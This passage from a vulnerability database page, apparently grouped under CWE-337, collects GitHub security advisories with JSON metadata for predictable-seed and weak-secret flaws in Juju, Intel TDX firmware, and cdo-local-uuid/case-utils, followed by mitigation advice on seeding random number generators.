"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-PHH4-3HMM-24RX
Vulnerability from github – Published: 2024-10-02 12:30 – Updated: 2025-08-26 19:43Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-mh98-763h-m9v4. This link is maintained to preserve external references.
Original Description
JUJU_CONTEXT_ID is a predictable authentication secret. On a Juju machine (non-Kubernetes) or Juju charm container (on Kubernetes), an unprivileged user in the same network namespace can connect to an abstract domain socket and guess the JUJU_CONTEXT_ID value. This gives the unprivileged user access to the same information and tools as the Juju charm.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/juju/juju"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20241001032836-2af7bd8e310b"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1391",
"CWE-330",
"CWE-337"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-02T21:55:42Z",
"nvd_published_at": "2024-10-02T11:15:11Z",
"severity": "HIGH"
},
"details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-mh98-763h-m9v4. This link is maintained to preserve external references.\n\n## Original Description\nJUJU_CONTEXT_ID is a predictable authentication secret. On a Juju machine (non-Kubernetes) or Juju charm container (on Kubernetes), an unprivileged user in the same network namespace can connect to an abstract domain socket and guess the JUJU_CONTEXT_ID value. This gives the unprivileged user access to the same information and tools as the Juju charm.",
"id": "GHSA-phh4-3hmm-24rx",
"modified": "2025-08-26T19:43:23Z",
"published": "2024-10-02T12:30:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/juju/juju/security/advisories/GHSA-mh98-763h-m9v4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7558"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-7558"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Duplicate Advisory: Juju makes Use of Weak Credentials",
"withdrawn": "2024-10-02T21:55:42Z"
}
GHSA-Q472-FRV7-C8CQ
Vulnerability from github – Published: 2025-08-12 18:31 – Updated: 2025-08-12 18:31Predictable Seed in Pseudo-Random Number Generator (PRNG) in the firmware for some Intel(R) TDX may allow an authenticated user to potentially enable information disclosure via local access.
{
"affected": [],
"aliases": [
"CVE-2025-20613"
],
"database_specific": {
"cwe_ids": [
"CWE-337"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-12T17:15:29Z",
"severity": "LOW"
},
"details": "Predictable Seed in Pseudo-Random Number Generator (PRNG) in the firmware for some Intel(R) TDX may allow an authenticated user to potentially enable information disclosure via local access.",
"id": "GHSA-q472-frv7-c8cq",
"modified": "2025-08-12T18:31:27Z",
"published": "2025-08-12T18:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20613"
},
{
"type": "WEB",
"url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01312.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-RGRF-6MF5-M882
Vulnerability from github – Published: 2024-01-11 15:18 – Updated: 2024-09-13 17:39Impact
What kind of vulnerability is it? Who is impacted?
An information leakage vulnerability is present in cdo-local-uuid at version 0.4.0, and in case-utils in unpatched versions (matching the pattern 0.x.0) at and since 0.5.0, before 0.15.0.
The vulnerability stems from a Python function, cdo_local_uuid.local_uuid(), and its original implementation case_utils.local_uuid(). Henceforth, both will be called local_uuid().
local_uuid() generates UUIDv5s using a deterministic pseudorandom number stream. This was written to make graph application demonstrations generate consistent, version-controllable output with minimal noise caused by demonstration re-runs. Part of the information used to keep individual examples' generated output distinct from one another is seed information from the caller's environment, particularly the program's argument vector. The present working directory is also included as part of the seed information, but for reasons including maintaining user environment privacy, as well as keeping generated identifiers consistent regardless of where a source tree is housed on a user's file system, the present working directory is trimmed from the left to exclude path information outside of a supplied "Top" source directory. (In context of the Make scripting language, this "top" directory is typically in a variable called top_srcdir. In context of Git-based project management, this directory is expected to be the root directory of a freshly "Cloned" project, e.g., where .git is stored.)
Under certain conditions, a user's present working directory, as an absolute path, was incorporated into seed data for the local_uuid() deterministic pseudorandom number stream. This violates an expectation made in the documented purpose of the local_uuid() function, and leaks information about a calling user's environment.
The conditions are:
- Given a project with top source directory
top_srcdir, for instance/home/user1/Documents/Project1; - Given a Python script housed directly in
top_srcdir, for instance at${top_srcdir}/example.py, written to support the deterministic mode oflocal_uuid(); - Given a call to that Python script that follows the documentation for
local_uuid();
The absolute path for top_srcdir was then included in the seed information for the UUIDv5 stream, when what was intended was a relative path spelling. That is, instead of ./example.py being in the seed data, /home/user1/Documents/Project1/example.py was in the seed data.
This does not leak the present working directory directly. But, given other knowledge of how a program had been called to generate data using local_uuid() under these conditions, it becomes possible to determine that a chosen path can lead to a known UUIDv5 value. Note that it is not necessarily knowable that the chosen path is the only solution to a sequence reconstruction; but, the path can be confirmed to be a solution.
Patches
Has the problem been patched? What versions should users upgrade to?
The issue has been patched, in the cdo-local-uuid source repository and the case-utils source repository.
Users should upgrade to any of these versions minimally:
case-utils == 0.5.1case-utils == 0.6.1case-utils == 0.7.1case-utils == 0.8.1case-utils == 0.9.1case-utils == 0.10.1case-utils == 0.11.1case-utils == 0.12.1case-utils == 0.13.1case-utils == 0.14.1case-utils >= 0.15.0cdo-local-uuid == 0.5.0
All case-utils releases that contain the patch have the commit ea630cce66b26dae6d7fa7e02451d6e25456a5f2 in their Git history. Anyone interested in confirming the presence of this commit in a certain branch or tag can run the following test (written in Bash), substituting the desired branch name for the assigned value of my_git_ref_of_interest:
#!/bin/bash
# Present working directory ($PWD) should be in a clone of this repository:
# https://github.com/casework/CASE-Utilities-Python
my_git_ref_of_interest=main
test \
"xea630cce66b26dae6d7fa7e02451d6e25456a5f2" \
== \
"x$(git merge-base ea630cc ${my_git_ref_of_interest})"
echo $? # Should print '0'
Note that other releases have been posted atop some of those minimal versions recommended for upgrading, named, e.g., 0.5.1.post0. These releases were posted to update internal library version numbers, and otherwise contain no functional changes, in accordance with Python Packaging guidance:
- https://packaging.python.org/en/latest/specifications/version-specifiers/#post-release-separators
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
If the script calling cdo_local_uuid.local_uuid() is moved out of the "Top" source directory, the issue is addressed.
References
Are there any links users can visit to find out more?
The issue is addressed in this Pull Request:
- https://github.com/Cyber-Domain-Ontology/CDO-Utility-Local-UUID/pull/3
Tests to reproduce the issue's conditions and confirm it has been addressed are in this Pull Requested:
- https://github.com/Cyber-Domain-Ontology/CDO-Utility-Local-UUID/pull/4
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "cdo-local-uuid"
},
"ranges": [
{
"events": [
{
"introduced": "0.4.0"
},
{
"fixed": "0.5.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.4.0"
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "case-utils"
},
"ranges": [
{
"events": [
{
"introduced": "0.5.0"
},
{
"fixed": "0.5.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.5.0"
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "case-utils"
},
"ranges": [
{
"events": [
{
"introduced": "0.6.0"
},
{
"fixed": "0.6.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.6.0"
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "case-utils"
},
"ranges": [
{
"events": [
{
"introduced": "0.7.0"
},
{
"fixed": "0.7.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.7.0"
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "case-utils"
},
"ranges": [
{
"events": [
{
"introduced": "0.8.0"
},
{
"fixed": "0.8.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.8.0"
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "case-utils"
},
"ranges": [
{
"events": [
{
"introduced": "0.9.0"
},
{
"fixed": "0.9.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.9.0"
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "case-utils"
},
"ranges": [
{
"events": [
{
"introduced": "0.10.0"
},
{
"fixed": "0.10.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.10.0"
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "case-utils"
},
"ranges": [
{
"events": [
{
"introduced": "0.11.0"
},
{
"fixed": "0.11.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.11.0"
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "case-utils"
},
"ranges": [
{
"events": [
{
"introduced": "0.12.0"
},
{
"fixed": "0.12.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.12.0"
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "case-utils"
},
"ranges": [
{
"events": [
{
"introduced": "0.13.0"
},
{
"fixed": "0.13.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.13.0"
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "case-utils"
},
"ranges": [
{
"events": [
{
"introduced": "0.14.0"
},
{
"fixed": "0.14.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.14.0"
]
}
],
"aliases": [
"CVE-2024-22194"
],
"database_specific": {
"cwe_ids": [
"CWE-215",
"CWE-337"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-11T15:18:51Z",
"nvd_published_at": "2024-01-11T03:15:10Z",
"severity": "LOW"
},
"details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nAn information leakage vulnerability is present in [`cdo-local-uuid`](https://pypi.org/project/cdo-local-uuid/) at version `0.4.0`, and in [`case-utils`](https://pypi.org/project/case-utils/) in unpatched versions (matching the pattern `0.x.0`) at and since `0.5.0`, before `0.15.0`.\n\nThe vulnerability stems from a Python function, `cdo_local_uuid.local_uuid()`, and its original implementation `case_utils.local_uuid()`. Henceforth, both will be called `local_uuid()`.\n\n`local_uuid()` generates UUIDv5s using a deterministic pseudorandom number stream. This was written to make graph application demonstrations generate consistent, version-controllable output with minimal noise caused by demonstration re-runs. Part of the information used to keep individual examples\u0027 generated output distinct from one another is seed information from the caller\u0027s environment, particularly the program\u0027s argument vector. The present working directory is also included as part of the seed information, but for reasons including maintaining user environment privacy, as well as keeping generated identifiers consistent regardless of where a source tree is housed on a user\u0027s file system, the present working directory is trimmed from the left to exclude path information outside of a supplied \"Top\" source directory. (In context of the Make scripting language, this \"top\" directory is typically in a variable called `top_srcdir`. In context of Git-based project management, this directory is expected to be the root directory of a freshly \"Cloned\" project, e.g., where `.git` is stored.)\n\nUnder certain conditions, a user\u0027s present working directory, as an absolute path, was incorporated into seed data for the `local_uuid()` deterministic pseudorandom number stream. This violates an expectation made in the documented purpose of the `local_uuid()` function, and leaks information about a calling user\u0027s environment.\n\nThe conditions are:\n\n* Given a project with top source directory `top_srcdir`, for instance `/home/user1/Documents/Project1`;\n* Given a Python script housed directly in `top_srcdir`, for instance at `${top_srcdir}/example.py`, written to support the deterministic mode of `local_uuid()`;\n* Given a call to that Python script that follows the documentation for `local_uuid()`;\n\nThe absolute path for `top_srcdir` was then included in the seed information for the UUIDv5 stream, when what was intended was a relative path spelling. That is, instead of `./example.py` being in the seed data, `/home/user1/Documents/Project1/example.py` was in the seed data.\n\nThis does not leak the present working directory directly. But, given other knowledge of how a program had been called to generate data using `local_uuid()` under these conditions, it becomes possible to determine that a chosen path can lead to a known UUIDv5 value. Note that it is not necessarily knowable that the chosen path is the *only* solution to a sequence reconstruction; but, the path can be confirmed to be *a* solution.\n\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nThe issue has been patched, in the `cdo-local-uuid` source repository and the `case-utils` source repository.\n\nUsers should upgrade to any of these versions minimally:\n\n* `case-utils == 0.5.1`\n* `case-utils == 0.6.1`\n* `case-utils == 0.7.1`\n* `case-utils == 0.8.1`\n* `case-utils == 0.9.1`\n* `case-utils == 0.10.1`\n* `case-utils == 0.11.1`\n* `case-utils == 0.12.1`\n* `case-utils == 0.13.1`\n* `case-utils == 0.14.1`\n* `case-utils \u003e= 0.15.0`\n* `cdo-local-uuid == 0.5.0`\n\nAll `case-utils` releases that contain the patch have the commit `ea630cce66b26dae6d7fa7e02451d6e25456a5f2` in their Git history. Anyone interested in confirming the presence of this commit in a certain branch or tag can run the following test (written in Bash), substituting the desired branch name for the assigned value of `my_git_ref_of_interest`:\n\n```bash\n#!/bin/bash\n# Present working directory ($PWD) should be in a clone of this repository:\n# https://github.com/casework/CASE-Utilities-Python\nmy_git_ref_of_interest=main\ntest \\\n \"xea630cce66b26dae6d7fa7e02451d6e25456a5f2\" \\\n == \\\n \"x$(git merge-base ea630cc ${my_git_ref_of_interest})\"\necho $? # Should print \u00270\u0027\n```\n\nNote that other releases have been posted atop some of those minimal versions recommended for upgrading, named, e.g., `0.5.1.post0`. These releases were posted to update internal library version numbers, and otherwise contain no functional changes, in accordance with Python Packaging guidance:\n\n* https://packaging.python.org/en/latest/specifications/version-specifiers/#post-release-separators\n\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nIf the script calling `cdo_local_uuid.local_uuid()` is moved out of the \"Top\" source directory, the issue is addressed.\n\n\n### References\n_Are there any links users can visit to find out more?_\n\nThe issue is addressed in this Pull Request:\n\n* https://github.com/Cyber-Domain-Ontology/CDO-Utility-Local-UUID/pull/3\n\nTests to reproduce the issue\u0027s conditions and confirm it has been addressed are in this Pull Requested:\n\n* https://github.com/Cyber-Domain-Ontology/CDO-Utility-Local-UUID/pull/4\n\n\u003c!--\nCVSS3.1 vector determined by rubric diagrams at this page:\nhttps://www.first.org/cvss/v3.1/user-guide\n--\u003e",
"id": "GHSA-rgrf-6mf5-m882",
"modified": "2024-09-13T17:39:18Z",
"published": "2024-01-11T15:18:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Cyber-Domain-Ontology/CDO-Utility-Local-UUID/security/advisories/GHSA-rgrf-6mf5-m882"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22194"
},
{
"type": "WEB",
"url": "https://github.com/Cyber-Domain-Ontology/CDO-Utility-Local-UUID/pull/3"
},
{
"type": "WEB",
"url": "https://github.com/Cyber-Domain-Ontology/CDO-Utility-Local-UUID/pull/4"
},
{
"type": "WEB",
"url": "https://github.com/casework/CASE-Utilities-Python/commit/fdc32414eccfcbde6be0fd91b7f491cc0779b02d#diff-e60b9cb8fb480ed27283a030a0898be3475992d78228f4045b12ce5cbb2f0509"
},
{
"type": "WEB",
"url": "https://github.com/casework/CASE-Utilities-Python/commit/fca7388f09feccd3b9ea88e6df9c7a43a5349452"
},
{
"type": "WEB",
"url": "https://github.com/casework/CASE-Utilities-Python/commit/e4ffadc3d56fd303b8f465d727c4a58213d311a1"
},
{
"type": "WEB",
"url": "https://github.com/casework/CASE-Utilities-Python/commit/db428a0745dac4fdd888ced9c52f617695519f9d"
},
{
"type": "WEB",
"url": "https://github.com/casework/CASE-Utilities-Python/commit/939775f956796d0432ecabbf62782ed7ad1007b5"
},
{
"type": "WEB",
"url": "https://github.com/casework/CASE-Utilities-Python/commit/80551f49241c874c7c50e14abe05c5017630dad2"
},
{
"type": "WEB",
"url": "https://github.com/casework/CASE-Utilities-Python/commit/7e02d18383eabbeb9fb4ec97d81438c9980a4790"
},
{
"type": "WEB",
"url": "https://github.com/casework/CASE-Utilities-Python/commit/5acb929dfb599709d1c8c90d1824dd79e0fd9e10"
},
{
"type": "WEB",
"url": "https://github.com/casework/CASE-Utilities-Python/commit/1cccae8eb3cf94b3a28f6490efa0fbf5c82ebd6b"
},
{
"type": "WEB",
"url": "https://github.com/casework/CASE-Utilities-Python/commit/00864cd12de7c50d882dd1a74915d32e939c25f9"
},
{
"type": "WEB",
"url": "https://github.com/Cyber-Domain-Ontology/CDO-Utility-Local-UUID/commit/9e78f7cb1075728d0aafc918514f32a1392cd235"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/case-utils/PYSEC-2024-5.yaml"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/cdo-local-uuid/PYSEC-2024-6.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/Cyber-Domain-Ontology/CDO-Utility-Local-UUID"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "cdo-local-uuid vulnerable to insertion of artifact derived from developer\u0027s Present Working Directory into demonstration code"
}
Mitigation
Use non-predictable inputs for seed generation.
Mitigation MIT-2
Strategy: Libraries or Frameworks
Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems, or use the more recent FIPS 140-3 [REF-1192] if possible.
Mitigation MIT-50
Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.
No CAPEC attack patterns related to this CWE.